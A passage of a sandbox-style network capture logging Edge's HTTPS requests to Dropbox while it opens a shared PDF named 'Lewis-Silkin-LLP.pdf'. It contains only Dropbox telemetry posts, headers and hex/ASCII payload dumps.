_cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:08 UTC	1543	OUT	Data Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 7b 22 74 79 70 65 22 3a 22 65 76 65 6e 74 22 2c 22 6e 61 6d 65 22 3a 22 76 69 65 77 2e 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 2e 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 22 2c 22 69 64 22 3a 22 35 63 39 35 39 30 39 34 2d 36 36 61 62 2d 34 62 64 35 2d 38 32 36 33 2d 35 39 33 64 37 63 36 37 63 61 65 30 22 2c 22 64 65 74 61 69 6c 22 3a 22 7b 5c 22 65 64 69 73 6f 6e 50 61 67 65 4e 61 6d 65 5c 22 3a 5c 22 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5c 22 2c 5c 22 69 73 4d 6f 62 69 6c 65 57 65 62 5c 22 3a 66 61 6c 73 65 2c 5c 22 77 65 62 52 65 64 65 73 69 67 6e 47 6c 6f 62 61 6c 48 65 61 64 65 72 56 61 72 69 61 6e 74 5c 22 3a 5c 22 6f 66 66 5c 22 2c 5c 22 67 6c 6f 62 61 6c 48 65 61 64 65 72 53 6f 75 72 63 65 5c 22 3a 5c 22 72 73 65 72 Data Ascii: {"events":[{"type":"event","name":"view.global_header.global_header","id":"5c959094-66ab-4bd5-8263-593d7c67cae0","detail":"{\"edisonPageName\":\"scl_oboe_file\",\"isMobileWeb\":false,\"webRedesignGlobalHeaderVariant\":\"off\",\"globalHeaderSource\":\"rser
2024-12-19 12:45:09 UTC	571	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 124 X-Webkit-Csp: sandbox Content-Length: 51 Date: Thu, 19 Dec 2024 12:45:09 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: fa1a81612131407db942e06a76010e26 Connection: close
2024-12-19 12:45:09 UTC	51	IN	Data Raw: 7b 22 6d 73 67 22 3a 22 4d 65 61 73 75 72 65 73 20 70 72 6f 63 65 73 73 65 64 3a 20 30 20 45 76 65 6e 74 73 20 70 72 6f 63 65 73 73 65 64 3a 20 32 22 7d Data Ascii: {"msg":"Measures processed: 0 Events processed: 2"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49924	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:09 UTC	1632	OUT	POST /alternate_wtl_browser_performance_info HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 690 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:09 UTC	690	OUT	Data Raw: 72 65 71 75 65 73 74 5f 69 64 3d 64 32 33 63 62 62 31 38 38 30 66 38 34 66 38 35 61 66 65 66 63 31 30 34 34 33 30 33 38 62 65 61 26 72 65 66 65 72 72 65 72 3d 26 6e 61 76 69 67 61 74 69 6f 6e 5f 73 74 61 72 74 3d 31 37 33 34 36 31 32 32 36 39 34 39 32 26 75 6e 6c 6f 61 64 5f 65 76 65 6e 74 5f 73 74 61 72 74 3d 30 26 75 6e 6c 6f 61 64 5f 65 76 65 6e 74 5f 65 6e 64 3d 30 26 72 65 64 69 72 65 63 74 5f 73 74 61 72 74 3d 30 26 72 65 64 69 72 65 63 74 5f 65 6e 64 3d 30 26 66 65 74 63 68 5f 73 74 61 72 74 3d 31 37 33 34 36 31 32 32 36 39 35 39 39 26 64 6f 6d 61 69 6e 5f 6c 6f 6f 6b 75 70 5f 73 74 61 72 74 3d 31 37 33 34 36 31 32 32 37 30 33 30 38 26 64 6f 6d 61 69 6e 5f 6c 6f 6f 6b 75 70 5f 65 6e 64 3d 31 37 33 34 36 31 32 32 37 30 35 33 31 26 63 6f 6e 6e 65 63 Data Ascii: request_id=d23cbb1880f84f85afefc10443038bea&referrer=&navigation_start=1734612269492&unload_event_start=0&unload_event_end=0&redirect_start=0&redirect_end=0&fetch_start=1734612269599&domain_lookup_start=1734612270308&domain_lookup_end=1734612270531&connec
2024-12-19 12:45:10 UTC	2796	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 29 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:09 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 76a2778ccdc54c5cbe03e5fb0a1bf12b Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49926	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:09 UTC	1608	OUT	POST /log_js_sw_data HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 583 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:09 UTC	583	OUT	Data Raw: 72 65 71 75 65 73 74 5f 69 64 3d 64 32 33 63 62 62 31 38 38 30 66 38 34 66 38 35 61 66 65 66 63 31 30 34 34 33 30 33 38 62 65 61 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 25 32 46 73 63 6c 25 32 46 66 69 25 32 46 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 25 32 46 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 25 33 46 72 6c 6b 65 79 25 33 44 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 25 32 36 64 6c 25 33 44 31 26 61 67 67 72 65 67 61 74 65 64 5f 73 77 5f 64 61 74 61 3d 25 37 42 25 32 32 77 65 62 5f 74 69 6d 69 6e 67 5f 6c 6f 67 67 65 72 25 32 32 25 33 41 25 37 42 25 32 32 70 72 6f 63 65 73 73 5f 6e 61 76 5f 74 69 6d 69 6e 67 25 32 Data Ascii: request_id=d23cbb1880f84f85afefc10443038bea&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&aggregated_sw_data=%7B%22web_timing_logger%22%3A%7B%22process_nav_timing%2
2024-12-19 12:45:10 UTC	2796	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 14 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:09 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: d716392b50d948bc8b32c32cde679868 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49923	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:09 UTC	1609	OUT	POST /log_js_sw_data HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 5965 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:09 UTC	5965	OUT	Data Raw: 72 65 71 75 65 73 74 5f 69 64 3d 64 32 33 63 62 62 31 38 38 30 66 38 34 66 38 35 61 66 65 66 63 31 30 34 34 33 30 33 38 62 65 61 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 25 32 46 73 63 6c 25 32 46 66 69 25 32 46 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 25 32 46 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 25 33 46 72 6c 6b 65 79 25 33 44 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 25 32 36 64 6c 25 33 44 31 26 61 67 67 72 65 67 61 74 65 64 5f 73 77 5f 64 61 74 61 3d 25 37 42 25 32 32 72 65 73 6f 75 72 63 65 73 5f 70 65 72 63 65 6e 74 5f 74 72 61 6e 73 66 65 72 72 65 64 25 32 32 25 33 41 25 37 42 25 32 32 74 6f 74 61 6c 5f 63 73 Data Ascii: request_id=d23cbb1880f84f85afefc10443038bea&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&aggregated_sw_data=%7B%22resources_percent_transferred%22%3A%7B%22total_cs
2024-12-19 12:45:10 UTC	2796	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 18 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:10 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 8f498c2845c6417e8cb42938c589ab28 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49925	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:09 UTC	1610	OUT	POST /log_js_sw_data HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 41576 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:09 UTC	16384	OUT	Data Raw: 72 65 71 75 65 73 74 5f 69 64 3d 64 32 33 63 62 62 31 38 38 30 66 38 34 66 38 35 61 66 65 66 63 31 30 34 34 33 30 33 38 62 65 61 26 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 25 32 46 73 63 6c 25 32 46 66 69 25 32 46 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 25 32 46 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 25 33 46 72 6c 6b 65 79 25 33 44 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 25 32 36 64 6c 25 33 44 31 26 61 67 67 72 65 67 61 74 65 64 5f 73 77 5f 64 61 74 61 3d 25 37 42 25 32 32 72 65 73 6f 75 72 63 65 5f 74 69 6d 65 6c 69 6e 65 25 32 32 25 33 41 25 37 42 25 32 32 6d 65 74 61 73 65 72 76 65 72 25 32 46 73 74 61 74 69 63 25 Data Ascii: request_id=d23cbb1880f84f85afefc10443038bea&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&aggregated_sw_data=%7B%22resource_timeline%22%3A%7B%22metaserver%2Fstatic%
2024-12-19 12:45:09 UTC	16384	OUT	Data Raw: 6e 61 6d 65 25 32 32 25 33 41 25 32 32 61 74 6c 61 73 25 32 46 66 69 6c 65 5f 76 69 65 77 65 72 25 32 46 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 25 32 46 64 69 73 74 25 32 46 63 5f 63 6f 72 65 5f 74 6f 61 73 74 5f 74 6f 61 73 74 5f 6f 6e 5f 69 6e 69 74 2d 76 66 6c 34 6f 2d 36 2d 78 2e 6a 73 25 32 32 25 32 43 25 32 32 73 74 61 72 74 5f 74 69 6d 65 25 32 32 25 33 41 31 39 38 39 31 25 32 43 25 32 32 74 6f 74 61 6c 5f 74 69 6d 65 25 32 32 25 33 41 33 33 38 25 32 43 25 32 32 6e 75 6d 5f 63 61 6c 6c 73 25 32 32 25 33 41 31 25 32 43 25 32 32 61 6e 6e 6f 74 61 74 69 6f 6e 73 25 32 32 25 33 41 25 37 42 25 32 32 74 79 70 65 25 32 32 25 33 41 25 32 32 73 63 72 69 70 74 25 32 32 25 32 43 25 32 32 63 61 63 68 65 64 25 32 32 25 33 41 25 Data Ascii: name%22%3A%22atlas%2Ffile_viewer%2Fscl_oboe_file_bundle_amd%2Fdist%2Fc_core_toast_toast_on_init-vfl4o-6-x.js%22%2C%22start_time%22%3A19891%2C%22total_time%22%3A338%2C%22num_calls%22%3A1%2C%22annotations%22%3A%7B%22type%22%3A%22script%22%2C%22cached%22%3A%
2024-12-19 12:45:09 UTC	8808	OUT	Data Raw: 74 25 32 46 63 5f 76 61 6c 69 64 61 74 6f 72 73 25 32 32 25 32 43 25 32 32 73 74 61 72 74 5f 74 69 6d 65 25 32 32 25 33 41 32 35 33 30 30 25 32 43 25 32 32 74 6f 74 61 6c 5f 74 69 6d 65 25 32 32 25 33 41 39 32 31 35 25 32 43 25 32 32 6e 75 6d 5f 63 61 6c 6c 73 25 32 32 25 33 41 31 25 32 43 25 32 32 61 6e 6e 6f 74 61 74 69 6f 6e 73 25 32 32 25 33 41 25 37 42 25 32 32 74 79 70 65 25 32 32 25 33 41 25 32 32 73 63 72 69 70 74 25 32 32 25 32 43 25 32 32 63 61 63 68 65 64 25 32 32 25 33 41 25 32 32 66 61 6c 73 65 25 32 32 25 37 44 25 32 43 25 32 32 70 61 72 65 6e 74 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 32 32 74 79 70 65 25 32 32 25 33 41 32 25 37 44 25 32 43 25 32 32 61 74 6c 61 73 25 32 46 66 69 6c 65 5f 76 69 65 77 65 72 25 32 46 73 63 6c 5f 6f 62 Data Ascii: t%2Fc_validators%22%2C%22start_time%22%3A25300%2C%22total_time%22%3A9215%2C%22num_calls%22%3A1%2C%22annotations%22%3A%7B%22type%22%3A%22script%22%2C%22cached%22%3A%22false%22%7D%2C%22parent%22%3A%22%22%2C%22type%22%3A2%7D%2C%22atlas%2Ffile_viewer%2Fscl_ob
2024-12-19 12:45:10 UTC	2796	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 20 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:10 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 38e7855900134233a7423456089202e4 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49922	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:09 UTC	1608	OUT	POST /alternate_wtl HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1869 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; 